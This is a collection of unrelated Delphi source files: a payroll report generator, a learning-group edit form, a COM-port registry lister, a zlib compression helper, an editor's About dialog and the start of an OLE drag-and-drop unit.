Memo:=TfrxMemoView.Create(FooterBand);
Memo.CreateUniqueName;
Memo.Text:='[SUM(<ReportDsetData."SUMMA'+IntToStr(i)+'">,MasterData1)]';
Memo.SetBounds(6.0*37.7953+i*mw*37.7953,0,mw*37.7953,0.5*37.7953);
Memo.Frame.Typ:=[ftLeft,ftRight,ftTop,ftBottom];
Memo.DisplayFormat.Kind:=fkNumeric;
Memo.DisplayFormat.FormatStr:='%2.2f';
Memo.HAlign:=haRight;
Memo.Font.Size:=8;
Memo.Font.Style:=[fsBold];
Memo.StretchMode:=smMaxHeight;
DSetData.Close;
if not Param.Is_VidOplPrint then // для агрегированого принта видопл
DSetData.SQLs.SelectSQL.Text :=
'SELECT ID_MAN, SUM(SUMMA) as SUMMA_ITOG, FIO, TN FROM Z_REESTR_SUMS2('+intToStr(Param.Kod_Setup1+i)+','+
ifThen(Param.Is_VidOpl,IntToStr(Param.Id_VidOpl),'NULL')+','+
ifThen(Param.Is_Department,IntToStr(Param.Id_department),'NULL')+','+
ifThen(Param.Is_Smeta,IntToStr(Param.Id_smeta),'NULL')+','+
ifThen(Param.PSystem,'1','11')+','+
ifThen(Param.P1,'''T''','''F''')+','+
ifThen(Param.IsSummaLower,StringReplace( Param.SummaLower, ',' , '.', [rfReplaceAll]),'NULL')+','+
ifThen(Param.IsSummaHigh,StringReplace( Param.SummaHigh, ',' , '.', [rfReplaceAll]),'NULL')+ ','+
ifThen(Param.Is_Cat,IntToStr(Param.ID_Cat),'NULL')+','+
ifThen(Param.Is_Prop,IntToStr(Param.id_prop),'NULL')+','+
intToStr(Param.Kod_Setup1)+','+
intToStr(Param.Kod_Setup2)+
') ' +
'group by ID_MAN, FIO, TN '+
'order by fio desc'
else
DSetData.SQLs.SelectSQL.Text :=
'SELECT ID_MAN, SUM(SUMMA) as SUMMA_ITOG, FIO, TN, NAME_VIDOPL FROM Z_REESTR_SUMS2('+intToStr(Param.Kod_Setup1+i)+','+
ifThen(Param.Is_VidOpl,IntToStr(Param.Id_VidOpl),'NULL')+','+
ifThen(Param.Is_Department,IntToStr(Param.Id_department),'NULL')+','+
ifThen(Param.Is_Smeta,IntToStr(Param.Id_smeta),'NULL')+','+
ifThen(Param.PSystem,'1','11')+','+
ifThen(Param.P1,'''T''','''F''')+','+
ifThen(Param.IsSummaLower,StringReplace( Param.SummaLower, ',' , '.', [rfReplaceAll]),'NULL')+','+
ifThen(Param.IsSummaHigh,StringReplace( Param.SummaHigh, ',' , '.', [rfReplaceAll]),'NULL')+ ','+
ifThen(Param.Is_Cat,IntToStr(Param.ID_Cat),'NULL')+','+
ifThen(Param.Is_Prop,IntToStr(Param.id_prop),'NULL')+','+
intToStr(Param.Kod_Setup1)+','+
intToStr(Param.Kod_Setup2)+
') ' +
'group by ID_MAN, FIO, TN, NAME_VIDOPL '+
'order by fio desc';
DSetData.Open;
DSetData.First;
if Param.Is_VidOplPrint then
while not(DSetData.Eof) do
begin
if MemoryData.Locate('ID_MAN;NAME_VIDOPL',VarArrayOf([DSetData.FieldByName('ID_MAN').asInteger,DSetData.FieldByName('NAME_VIDOPL').AsString]),[]) then
begin
MemoryData.Edit;
MemoryData['SUMMA'+IntToStr(i)]:=DSetData.FieldByName('SUMMA_ITOG').AsCurrency;
MemoryData.Post;
end
else
begin
MemoryData.Insert;
MemoryData['ID_MAN']:=DSetData.FieldByName('ID_MAN').asInteger;
MemoryData['TN']:=DSetData.FieldByName('TN').asInteger;
MemoryData['FIO']:=DSetData.FieldByName('FIO').AsString;
MemoryData['SUMMA'+IntToStr(i)]:=DSetData.FieldByName('SUMMA_ITOG').AsCurrency;
MemoryData['NAME_VIDOPL']:=DSetData.FieldByName('NAME_VIDOPL').AsString;
//пока не просят печатать
//MemoryData['NAME_CAT_STUD']:=DSetData.FieldByName('NAME_CAT_STUD').AsString;
//MemoryData['NAME_PEOPLE_PROP']:=DSetData.FieldByName('NAME_PEOPLE_PROP').AsString;
MemoryData.Post;
end;
DSetData.Next;
end
else
while not(DSetData.Eof) do
begin
if MemoryData.Locate('ID_MAN',DSetData.FieldByName('ID_MAN').asInteger,[]) then
begin
MemoryData.Edit;
MemoryData['SUMMA'+IntToStr(i)]:=DSetData.FieldByName('SUMMA_ITOG').AsCurrency;
MemoryData.Post;
end
else
begin
MemoryData.Insert;
MemoryData['ID_MAN']:=DSetData.FieldByName('ID_MAN').asInteger;
MemoryData['TN']:=DSetData.FieldByName('TN').asInteger;
MemoryData['FIO']:=DSetData.FieldByName('FIO').AsString;
MemoryData['SUMMA'+IntToStr(i)]:=DSetData.FieldByName('SUMMA_ITOG').AsCurrency;
//пока не просят печатать
//MemoryData['NAME_CAT_STUD']:=DSetData.FieldByName('NAME_CAT_STUD').AsString;
//MemoryData['NAME_PEOPLE_PROP']:=DSetData.FieldByName('NAME_PEOPLE_PROP').AsString;
MemoryData.Post;
end;
DSetData.Next;
end;
end;
if(Param.Is_VidOplPrint=true)then
begin
Memo:=TfrxMemoView.Create(HeaderBand);
Memo.CreateUniqueName;
Memo.Text:='Вид оплати';
Memo.SetBounds(6.0*37.7953+(Param.Kod_Setup2-Param.Kod_Setup1+1)*mw*37.7953,0,3.9*37.7953,0.5*37.7953); //5ю9 mw*37.7953
Memo.Frame.Typ:=[ftLeft,ftRight,ftTop,ftBottom];
Memo.DisplayFormat.Kind:=fkNumeric;
Memo.DisplayFormat.FormatStr:='%2.2f';
Memo.HAlign:=haCenter;
Memo.Font.Size:=8;
Memo.StretchMode:=smMaxHeight;
Memo:=TfrxMemoView.Create(DataBand);
Memo.CreateUniqueName;
Memo.DataSet :=ReportDsetData;
Memo.DataField:='NAME_VIDOPL';
Memo.SetBounds(6.0*37.7953+(Param.Kod_Setup2-Param.Kod_Setup1+1)*mw*37.7953,0,3.9*37.7953,0.5*37.7953);
Memo.Frame.Typ:=[ftLeft,ftRight,ftTop,ftBottom];
Memo.DisplayFormat.Kind:=fkNumeric;
Memo.DisplayFormat.FormatStr:='%2.2f';
Memo.HAlign:=haLeft;
Memo.Font.Size:=8;
Memo.StretchMode:=smMaxHeight;
Memo:=TfrxMemoView.Create(FooterBand);
Memo.CreateUniqueName;
Memo.Text:='';
Memo.SetBounds(6.0*37.7953+(Param.Kod_Setup2-Param.Kod_Setup1+1)*mw*37.7953,0,3.9*37.7953,0.5*37.7953);
Memo.Frame.Typ:=[ftLeft,ftRight,ftTop,ftBottom];
Memo.DisplayFormat.Kind:=fkNumeric;
Memo.DisplayFormat.FormatStr:='%2.2f';
Memo.HAlign:=haLeft;
Memo.Font.Size:=8;
Memo.Font.Style:=[fsBold];
Memo.StretchMode:=smMaxHeight;
end;
// MemoryData.SortOnFields('NAME_CAT_STUD');
ReportDSetData.DataSet:=MemoryData;
Report.Variables.Clear;
Report.Variables[' '+'User Category']:=NULL;
Report.Variables.AddVariable('User Category',
'PPeriod',
''''+KodSetupToPeriod(Param.Kod_setup1,4)+'''');
Report.Variables.AddVariable('User Category',
'SUMMA',
0);
Screen.Cursor:=crDefault;
CloseWaitForm(wf);
if zDesignReport then Report.DesignReport
else Report.ShowReport;
Report.Free;
MemoryData.Close;
end;
procedure TDM.ReportGetValue(const VarName: String; var Value: Variant);
var VidDep:Variant;
i: integer;
begin
if UpperCase(VarName)='DATE1' then
begin
Value:=KodSetupToPeriod(KodSetup1,1);
end;
if UpperCase(VarName)='DATE2' then
begin
Value:=KodSetupToPeriod(KodSetup2,1);
end;
if UpperCase(VarName)='VIDOPL' then
begin
if TitleVidopl<>'' then
Value:='Вид операції: '+TitleVidopl
else
Value:=' ';
end;
if UpperCase(VarName)='DEPARTMENT' then
begin
if TitleDep<>'' then
Value:='Підрозділ: '+TitleDep
else
Value:=' ';
end;
if UpperCase(VarName)='SMETA' then
begin
if TitleSmeta<>'' then
Value:='Кошторис: '+TitleSmeta
else
Value:=' ';
end;
if UpperCase(VarName)='SUMMA' then
begin
for i:=0 to KodSetup2-KodSetup1 do
if MemoryData['SUMMA'+IntToStr(i)]<>null then
Value:=Value+MemoryData['SUMMA'+IntToStr(i)];
end;
if (UpperCase(VarName)='CAT') then
begin
if TitleCat<>'' then
Value :='Категорія: ' + TitleCat
else
Value:=' '; //PParameter.Is_Cat используется ли при вызове(в зав от системы)
end;
if (UpperCase(VarName)='PROP') then
begin
if TitleProp<>'' then
Value :='Властивість: ' + TitleProp
else
Value:=' ';
end;
end;
end.
|
unit frmLearningGroupEdit;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs,
Vcl.StdCtrls, Vcl.ExtCtrls, dbfunc, uKernel;
type
TfLearningGroupEdit = class(TForm)
Panel1: TPanel;
Label5: TLabel;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
Label9: TLabel;
Label10: TLabel;
Label11: TLabel;
cmbName: TComboBox;
cmbLearningLevel: TComboBox;
cmbEducationProgram: TComboBox;
cmbHoursAmount: TComboBox;
cmbPedagogue: TComboBox;
cmbAcademicYear: TComboBox;
cmbStatus: TComboBox;
bClose: TButton;
cmbLearningForm: TComboBox;
Label1: TLabel;
bSave: TButton;
procedure bCloseClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure bSaveClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure cmbEducationProgramChange(Sender: TObject);
private
AcademicYear: TResultTable;
EducationProgram: TResultTable;
PedagogueSurnameNP: TResultTable;
LearningForm: TResultTable;
StatusLearningGroup: TResultTable;
LearningLevel: TResultTable;
AmountHours: TResultTable;
GroupeName: TResultTable;
FNewRecord: boolean;
FIDLearningGroup: integer;
FIDEducationProgram: integer;
FIDPedagogue: integer;
FIDAcademicYear: integer;
FStrEducationProgram: string;
FStrPedagogue: string;
FStrLearningForm: string;
FStrStatus: string;
FStrAcademicYear: string;
FStrLearningLevel: string;
FIntHoursAmount: integer;
FGName: string;
procedure SetIDEducationProgram(const Value: integer);
procedure SetIDPedagogue(const Value: integer);
procedure SetIDAcademicYear(const Value: integer);
procedure SetNewRecord(const Value: boolean);
procedure SetIDLearningGroup(const Value: integer);
procedure SetStrEducationProgram(const Value: string);
procedure SetStrPedagogue(const Value: string);
procedure SetStrLearningForm(const Value: string);
procedure SetStrStatus(const Value: string);
procedure SetStrAcademicYear(const Value: string);
procedure SetStrLearningLevel(const Value: string);
procedure SetIntHoursAmount(const Value: integer);
procedure SetGName(const Value: string);
public
property IDEducationProgram: integer read FIDEducationProgram
write SetIDEducationProgram;
property IDPedagogue: integer read FIDPedagogue write SetIDPedagogue;
property IDAcademicYear: integer read FIDAcademicYear
write SetIDAcademicYear;
property NewRecord: boolean read FNewRecord write SetNewRecord;
property IDLearningGroup: integer read FIDLearningGroup
write SetIDLearningGroup;
property StrEducationProgram: string read FStrEducationProgram
write SetStrEducationProgram;
property StrPedagogue: string read FStrPedagogue write SetStrPedagogue;
property StrLearningForm: string read FStrLearningForm
write SetStrLearningForm;
property StrStatus: string read FStrStatus write SetStrStatus;
property StrAcademicYear: string read FStrAcademicYear
write SetStrAcademicYear;
property StrLearningLevel: string read FStrLearningLevel
write SetStrLearningLevel;
property IntHoursAmount: integer read FIntHoursAmount
write SetIntHoursAmount;
property GName: string read FGName write SetGName;
end;
var
fLearningGroupEdit: TfLearningGroupEdit;
implementation
{$R *.dfm}
procedure TfLearningGroupEdit.bCloseClick(Sender: TObject);
begin
Close;
end;
procedure TfLearningGroupEdit.bSaveClick(Sender: TObject);
begin
// сделать проверку на заполнение полей!!!!!!!!!
if (cmbEducationProgram.ItemIndex = -1) or (cmbPedagogue.ItemIndex = -1) or
(cmbLearningForm.ItemIndex = -1) or (cmbStatus.ItemIndex = -1) or
(cmbAcademicYear.ItemIndex = -1) or (cmbLearningLevel.ItemIndex = -1) or
(cmbHoursAmount.ItemIndex = -1) then
begin
ShowMessage('Не все поля заполнены!');
Exit;
end;
if Kernel.SaveLearningGroup([IDLearningGroup,
LearningForm[cmbLearningForm.ItemIndex].ValueByName('ID'),
EducationProgram[cmbEducationProgram.ItemIndex].ValueByName('ID'),
PedagogueSurnameNP[cmbPedagogue.ItemIndex].ValueByName('ID_OUT'),
LearningLevel[cmbLearningLevel.ItemIndex].ValueByName('ID'),
AcademicYear[cmbAcademicYear.ItemIndex].ValueByName('ID'),
StatusLearningGroup[cmbStatus.ItemIndex].ValueByName('CODE'),
AmountHours[cmbHoursAmount.ItemIndex].ValueByName('WEEK_AMOUNT'),
cmbName.Text]) then
begin
ShowMessage('Сохранение выполнено!');
Close;
// ShowChildList(chbExpelled.Checked, true); // для обновления осн.сведений
end
else
ShowMessage('Ошибка при сохранении!');
Close;
end;
procedure TfLearningGroupEdit.cmbEducationProgramChange(Sender: TObject);
var
i, education_program, learning_group_type: integer;
begin
education_program := EducationProgram[cmbEducationProgram.ItemIndex]
.ValueByName('ID');
learning_group_type := 1;
if Assigned(GroupeName) then
FreeAndNil(GroupeName);
GroupeName := Kernel.GetDistinctLGroupName(learning_group_type,
education_program);
with cmbName do
begin
Clear;
for i := 0 to GroupeName.Count - 1 do
Items.Add(GroupeName[i].ValueStrByName('NAME'));
DropDownCount := GroupeName.Count + 1;
cmbName.ItemIndex := 0;
end;
end;
procedure TfLearningGroupEdit.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
ModalResult := mrOk;
end;
procedure TfLearningGroupEdit.FormCreate(Sender: TObject);
begin
AcademicYear := nil;
EducationProgram := nil;
PedagogueSurnameNP := nil;
LearningForm := nil;
StatusLearningGroup := nil;
LearningLevel := nil;
AmountHours := nil;
GroupeName := nil;
end;
procedure TfLearningGroupEdit.FormDestroy(Sender: TObject);
begin
if Assigned(AcademicYear) then
FreeAndNil(AcademicYear);
if Assigned(EducationProgram) then
FreeAndNil(EducationProgram);
if Assigned(PedagogueSurnameNP) then
FreeAndNil(PedagogueSurnameNP);
if Assigned(StatusLearningGroup) then
FreeAndNil(StatusLearningGroup);
if Assigned(LearningForm) then
FreeAndNil(LearningForm);
if Assigned(LearningLevel) then
FreeAndNil(LearningLevel);
if Assigned(AmountHours) then
FreeAndNil(AmountHours);
if Assigned(GroupeName) then
FreeAndNil(GroupeName);
end;
procedure TfLearningGroupEdit.FormShow(Sender: TObject);
var
i, education_program, learning_group_type: integer;
begin
if not Assigned(AcademicYear) then
AcademicYear := Kernel.GetAcademicYear;
with cmbAcademicYear do
begin
Clear;
for i := 0 to AcademicYear.Count - 1 do
Items.Add(AcademicYear[i].ValueStrByName('NAME'));
end;
if not Assigned(EducationProgram) then
EducationProgram := Kernel.GetEducationProgram;
with cmbEducationProgram do
begin
Clear;
for i := 0 to EducationProgram.Count - 1 do
Items.Add(EducationProgram[i].ValueStrByName('NAME'));
// программно вызвать событие cmbEducationProgramChange КАК?
end;
if not Assigned(PedagogueSurnameNP) then
PedagogueSurnameNP := Kernel.GetPedagogueSurnameNP;
with cmbPedagogue do
begin
Clear;
for i := 0 to PedagogueSurnameNP.Count - 1 do
Items.Add(PedagogueSurnameNP[i].ValueStrByName('SurnameNP'));
DropDownCount := PedagogueSurnameNP.Count;
end;
if not Assigned(StatusLearningGroup) then
StatusLearningGroup := Kernel.GetStatusLearningGroup(3);
with cmbStatus do
begin
Clear;
for i := 0 to StatusLearningGroup.Count - 1 do
Items.Add(StatusLearningGroup[i].ValueStrByName('NOTE'));
end;
if not Assigned(LearningForm) then
LearningForm := Kernel.GetLearningForm;
with cmbLearningForm do
begin
Clear;
for i := 0 to 1 do
Items.Add(LearningForm[i].ValueStrByName('NAME'));
end;
if not Assigned(LearningLevel) then
LearningLevel := Kernel.GetLearningLevel;
with cmbLearningLevel do
begin
Clear;
for i := 0 to LearningLevel.Count - 1 do
Items.Add(LearningLevel[i].ValueStrByName('NAME'));
end;
if not Assigned(AmountHours) then
AmountHours := Kernel.GetAmountHours;
with cmbHoursAmount do
begin
Clear;
for i := 0 to AmountHours.Count - 1 do
Items.Add(AmountHours[i].ValueStrByName('WEEK_AMOUNT'));
end;
education_program := IDEducationProgram;
learning_group_type := 1;
if NewRecord then
begin
IDLearningGroup := -1;
for i := 0 to EducationProgram.Count - 1 do
if EducationProgram[i].ValueByName('ID') = IDEducationProgram then
cmbEducationProgram.ItemIndex := i;
// education_program := IDEducationProgram;
// learning_group_type := 1;
if Assigned(GroupeName) then
FreeAndNil(GroupeName);
GroupeName := Kernel.GetDistinctLGroupName(learning_group_type,
education_program);
with cmbName do
begin
Clear;
for i := 0 to GroupeName.Count - 1 do
Items.Add(GroupeName[i].ValueStrByName('NAME'));
DropDownCount := GroupeName.Count + 1;
cmbName.ItemIndex := 0;
end;
for i := 0 to PedagogueSurnameNP.Count - 1 do
if PedagogueSurnameNP[i].ValueByName('ID_OUT') = IDPedagogue then
cmbPedagogue.ItemIndex := i;
// cmbPedagogue.ItemIndex := -1;
cmbLearningForm.ItemIndex := 0;
cmbStatus.ItemIndex := 2; // у предварительной группы ID статуса 3
for i := 0 to AcademicYear.Count - 1 do
if AcademicYear[i].ValueByName('ID') = IDAcademicYear then
cmbAcademicYear.ItemIndex := i;
// cmbAcademicYear.ItemIndex := -1;
cmbLearningLevel.ItemIndex := -1;
cmbHoursAmount.ItemIndex := -1;
end
else
begin
cmbName.Text := Name;
for i := 0 to EducationProgram.Count - 1 do
if EducationProgram[i].ValueStrByName('NAME') = StrEducationProgram then
cmbEducationProgram.ItemIndex := i;
for i := 0 to PedagogueSurnameNP.Count - 1 do
if PedagogueSurnameNP[i].ValueStrByName('SurnameNP') = StrPedagogue then
cmbPedagogue.ItemIndex := i;
for i := 0 to LearningForm.Count - 1 do
if LearningForm[i].ValueStrByName('NAME') = StrLearningForm then
cmbLearningForm.ItemIndex := i;
for i := 0 to StatusLearningGroup.Count - 1 do
if StatusLearningGroup[i].ValueStrByName('NOTE') = StrStatus then
cmbStatus.ItemIndex := i;
for i := 0 to AcademicYear.Count - 1 do
if AcademicYear[i].ValueStrByName('NAME') = StrAcademicYear then
cmbAcademicYear.ItemIndex := i;
for i := 0 to LearningLevel.Count - 1 do
if LearningLevel[i].ValueStrByName('NAME') = StrLearningLevel then
cmbLearningLevel.ItemIndex := i;
for i := 0 to AmountHours.Count - 1 do
if AmountHours[i].ValueByName('WEEK_AMOUNT') = IntHoursAmount then
cmbHoursAmount.ItemIndex := i;
if not Assigned(GroupeName) then
GroupeName := Kernel.GetDistinctLGroupName(learning_group_type,
education_program);
with cmbName do
begin
Clear;
for i := 0 to GroupeName.Count - 1 do
Items.Add(GroupeName[i].ValueStrByName('NAME'));
DropDownCount := GroupeName.Count + 1;
cmbName.Text := GName;
// cmbName.ItemIndex := 0;
end;
end;
cmbLearningForm.Enabled := false;
end;
procedure TfLearningGroupEdit.SetStrAcademicYear(const Value: string);
begin
if FStrAcademicYear <> Value then
FStrAcademicYear := Value;
end;
procedure TfLearningGroupEdit.SetStrEducationProgram(const Value: string);
begin
if FStrEducationProgram <> Value then
FStrEducationProgram := Value;
end;
procedure TfLearningGroupEdit.SetIntHoursAmount(const Value: integer);
begin
if FIntHoursAmount <> Value then
FIntHoursAmount := Value;
end;
procedure TfLearningGroupEdit.SetStrLearningForm(const Value: string);
begin
if FStrLearningForm <> Value then
FStrLearningForm := Value;
end;
procedure TfLearningGroupEdit.SetIDAcademicYear(const Value: integer);
begin
if FIDAcademicYear <> Value then
FIDAcademicYear := Value;
end;
procedure TfLearningGroupEdit.SetIDEducationProgram(const Value: integer);
begin
if FIDEducationProgram <> Value then
FIDEducationProgram := Value;
end;
procedure TfLearningGroupEdit.SetIDLearningGroup(const Value: integer);
begin
if FIDLearningGroup <> Value then
FIDLearningGroup := Value;
end;
procedure TfLearningGroupEdit.SetIDPedagogue(const Value: integer);
begin
if FIDPedagogue <> Value then
FIDPedagogue := Value;
end;
procedure TfLearningGroupEdit.SetStrLearningLevel(const Value: string);
begin
if FStrLearningLevel <> Value then
FStrLearningLevel := Value;
end;
procedure TfLearningGroupEdit.SetStrPedagogue(const Value: string);
begin
if FStrPedagogue <> Value then
FStrPedagogue := Value;
end;
procedure TfLearningGroupEdit.SetStrStatus(const Value: string);
begin
if FStrStatus <> Value then
FStrStatus := Value;
end;
procedure TfLearningGroupEdit.SetGName(const Value: string);
begin
if FGName <> Value then
FGName := Value;
end;
procedure TfLearningGroupEdit.SetNewRecord(const Value: boolean);
begin
if FNewRecord <> Value then
FNewRecord := Value;
end;
end.
|
unit mComportList;
interface
uses
Classes, SysUtils, Windows, System.Generics.Collections;
type
EComportList = class(Exception);
TComPortList = class(TStringList)
private
public
procedure Search;
end;
implementation
uses
System.Win.Registry
;
{ TComPortList }
procedure TComPortList.Search;
const
RegPath = 'HARDWARE\DEVICEMAP\SerialComm';
var
Reg: TRegistry;
SL: TStringList;
i: Integer;
begin
Reg := TRegistry.Create(KEY_READ);
SL := TStringList.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if not Reg.KeyExists(RegPath) then Exit;
if not Reg.OpenKey(RegPath, False) then
raise EComportList.Create('Search failed - Cannot open RegKey ');
Reg.GetValueNames(SL);
for i := 0 to SL.Count - 1 do
Values[Reg.ReadString(SL[i])] := SL[i];
Reg.CloseKey;
finally
FreeAndNil(SL);
FreeAndNil(Reg);
end;
end;
end.
|
unit UtilityPasZlib;
// by Andrea Russo - Italy - 2005
// email: andrusso@libero.it
interface
//Unit zlib is icluded into the latest version of Delphi (from Delphi 6), but in old versions is
//included into the Delphi cd.
// Otherwise if do you want to use paszlib library change the uses.
//If do you want to use zlib included into Delphi
uses zlib, Classes;
//If do you want to use paszlib library
//uses dzlib, Classes;
type TCompLevel = (clNone, clFastest, clDefault, clMax);
procedure CompressFile(const sFileIn : string; const sFileOut : string; const Level : TCompLevel = clDefault);
procedure UnCompressFile(const sFileIn : string; const sFileOut : string);
procedure CompressStream(inStream, outStream :TStream; const Level : TCompLevel = clDefault);
procedure ExpandStream(inStream, outStream :TStream);
implementation
procedure CompressFile(const sFileIn : string; const sFileOut : string; const Level : TCompLevel = clDefault);
var
inStream, outStream: TMemoryStream;
begin
inStream:=TMemoryStream.Create;
outStream:=TMemoryStream.Create;
try
inStream.LoadFromFile(sFileIn);
with TCompressionStream.Create(TCompressionLevel(Level), outStream) do
try
CopyFrom(inStream, inStream.Size);
finally
Free;
end;
outStream.SaveToFile(sFileOut);
finally
outStream.Free;
inStream.Free;
end;
end;
procedure UnCompressFile(const sFileIn : string; const sFileOut : string);
var
inStream, outStream: TMemoryStream;
begin
inStream:=TMemoryStream.Create;
outStream:=TMemoryStream.Create;
try
inStream.LoadFromFile(sFileIn);
ExpandStream(inStream, outStream);
outStream.SaveToFile(sFileOut);
finally
inStream.Free;
outStream.Free;
end;
end;
procedure CompressStream(inStream, outStream :TStream; const Level : TCompLevel = clDefault);
begin
with TCompressionStream.Create(TCompressionLevel(Level), outStream) do
try
CopyFrom(inStream, inStream.Size);
finally
Free;
end;
end;
procedure ExpandStream(inStream, outStream :TStream);
const
BufferSize = 4096;
var
Count: integer;
ZStream: TDecompressionStream;
Buffer: array[0..BufferSize-1] of Byte;
begin
ZStream:=TDecompressionStream.Create(InStream);
try
while true do
begin
Count:=ZStream.Read(Buffer, BufferSize);
if Count<>0
then OutStream.WriteBuffer(Buffer, Count)
else Break;
end;
finally
ZStream.Free;
end;
end;
end.
|
// Copyright (c) 2009, ConTEXT Project Ltd
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
//
// Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// Neither the name of ConTEXT Project Ltd nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
unit fAbout;
interface
uses
Classes, Controls, Forms, Windows, Messages, Graphics, StdCtrls, ExtCtrls,
uMultiLanguage, MainInstance, uCommon;
type
TfmAbout = class(TForm)
Label1: TLabel;
btnClose: TButton;
Image1: TImage;
Label3: TLabel;
Label4: TLabel;
Memo1: TMemo;
Label5: TLabel;
Label6: TLabel;
Label8: TLabel;
Label9: TLabel;
Label10: TLabel;
procedure FormShow(Sender: TObject);
procedure MouseEnter(Sender: TObject);
procedure MouseLeave(Sender: TObject);
procedure Label8Click(Sender: TObject);
procedure Label9Click(Sender: TObject);
procedure Label10Click(Sender: TObject);
procedure btnCloseClick(Sender: TObject);
private
procedure InstanceFileOpenNotify(var Msg: tMessage); message wmMainInstanceOpenFile;
public
end;
implementation
uses fMain, ShellAPI; {$R *.dfm}
procedure TfmAbout.InstanceFileOpenNotify(var Msg: tMessage);
begin
fmMain.InstanceFileOpenNotify(Msg);
end;
//------------------------------------------------------------------------------------------
procedure TfmAbout.Label8Click(Sender: TObject);
begin
ShellExecute(Handle, 'OPEN', PChar((Sender as TLabel).Caption), '', '', SW_SHOWDEFAULT);
end;
//------------------------------------------------------------------------------------------
procedure TfmAbout.Label9Click(Sender: TObject);
begin
ShellExecute(Handle, 'OPEN', 'http://synedit.sourceforge.net', '', '', SW_SHOWDEFAULT);
end;
//------------------------------------------------------------------------------------------
procedure TfmAbout.Label10Click(Sender: TObject);
begin
ShellExecute(Handle, 'OPEN', 'http://www.jrsoftware.org', '', '', SW_SHOWDEFAULT);
end;
//------------------------------------------------------------------------------------------
procedure TfmAbout.MouseEnter(Sender: TObject);
begin
(Sender as TLabel).Font.Style := (Sender as TLabel).Font.Style + [fsUnderline]
end;
//------------------------------------------------------------------------------------------
procedure TfmAbout.MouseLeave(Sender: TObject);
begin
(Sender as TLabel).Font.Style := (Sender as TLabel).Font.Style - [fsUnderline]
end;
//------------------------------------------------------------------------------------------
procedure TfmAbout.btnCloseClick(Sender: TObject);
begin
Close;
end;
//------------------------------------------------------------------------------------------
procedure TfmAbout.FormShow(Sender: TObject);
begin
mlApplyLanguageToForm(SELF, Name);
end;
//------------------------------------------------------------------------------------------
end.
|
unit dragdrop;
interface
uses files, OLE2, classes;
Type
TGiveFiles=class
data:IDataObject;
copied:boolean;
FContainer:TContainerFile;
Constructor Create(Container:TContainerFile);
Destructor Destroy;virtual;
Procedure SelectFiles(files:TStringList);
Procedure CopyIt; {Copies to clipboard}
Procedure DragIt; {Drag&drops}
end;
implementation
uses Windows, OleAuto {for OleCheck}, SysUtils, ShlObj;
type
TMyDataObject = class(IDataObject)
private
RefCount: integer;
Data: string;
public
function QueryInterface(const iid: TIID; var obj): HResult; override; stdcall;
function AddRef: Longint; override; stdcall;
function Release: Longint; override; stdcall;
function GetData(var formatetcIn: TFormatEtc; var medium: TStgMedium):
HResult; override; stdcall;
function GetDataHere(var formatetc: TFormatEtc; var medium: TStgMedium):
HResult; override; stdcall;
function QueryGetData(var formatetc: TFormatEtc): HResult;
override; stdcall;
function GetCanonicalFormatEtc(var formatetc: TFormatEtc;
var formatetcOut: TFormatEtc): HResult; override; stdcall;
function SetData(var formatetc: TFormatEtc; var medium: TStgMedium;
fRelease: BOOL): HResult; override; stdcall;
function EnumFormatEtc(dwDirection: Longint; var enumFormatEtc:
IEnumFormatEtc): HResult; override; stdcall;
function DAdvise(var formatetc: TFormatEtc; advf: Longint;
advSink: IAdviseSink; var dwConnection: Longint): HResult; override; stdcall;
function DUnadvise(dwConnection: Longint): HResult; override; stdcall;
function EnumDAdvise(var enumAdvise: IEnumStatData): HResult;
override; stdcall;
constructor Create(s: string);
end;
TMyEnum = class(IEnumFormatEtc)
private
RefCount: integer;
Index: integer;
public
function QueryInterface(const iid: TIID; var obj): HResult; override; stdcall;
function AddRef: Longint; override; stdcall;
function Release: Longint; override; stdcall;
function Next(celt: Longint; var elt;
pceltFetched: PLongint): HResult; override; stdcall;
function Skip(celt: Longint): HResult; override; stdcall;
function Reset: HResult; override; stdcall;
function Clone(var enum: IEnumFormatEtc): HResult; override; stdcall;
end;
TMyDropSource = class(IDropSource)
private
RefCount: integer;
public
function QueryInterface(const iid: TIID; var obj): HResult; override; stdcall;
function AddRef: Longint; override; stdcall;
function Release: Longint; override; stdcall;
function QueryContinueDrag(fEscapePressed: BOOL;
grfKeyState: Longint): HResult; override; stdcall;
function GiveFeedback(dwEffect: Longint): HResult; override; stdcall;
end;
{ TMyDataObject }
constructor TMyDataObject.Create(s: string);
begin
inherited Create;
Data := s;
end;
function TMyDataObject.QueryInterface(const iid: TIID; var obj): HResult; stdcall;
begin
if IsEqualIID(iid, IID_IUnknown) or IsEqualIID(iid, IID_IDataObject) then begin
Pointer(obj) := self;
AddRef;
Result := S_OK;
end else begin
Pointer(obj) := nil;
Result := E_NOINTERFACE;
end;
end;
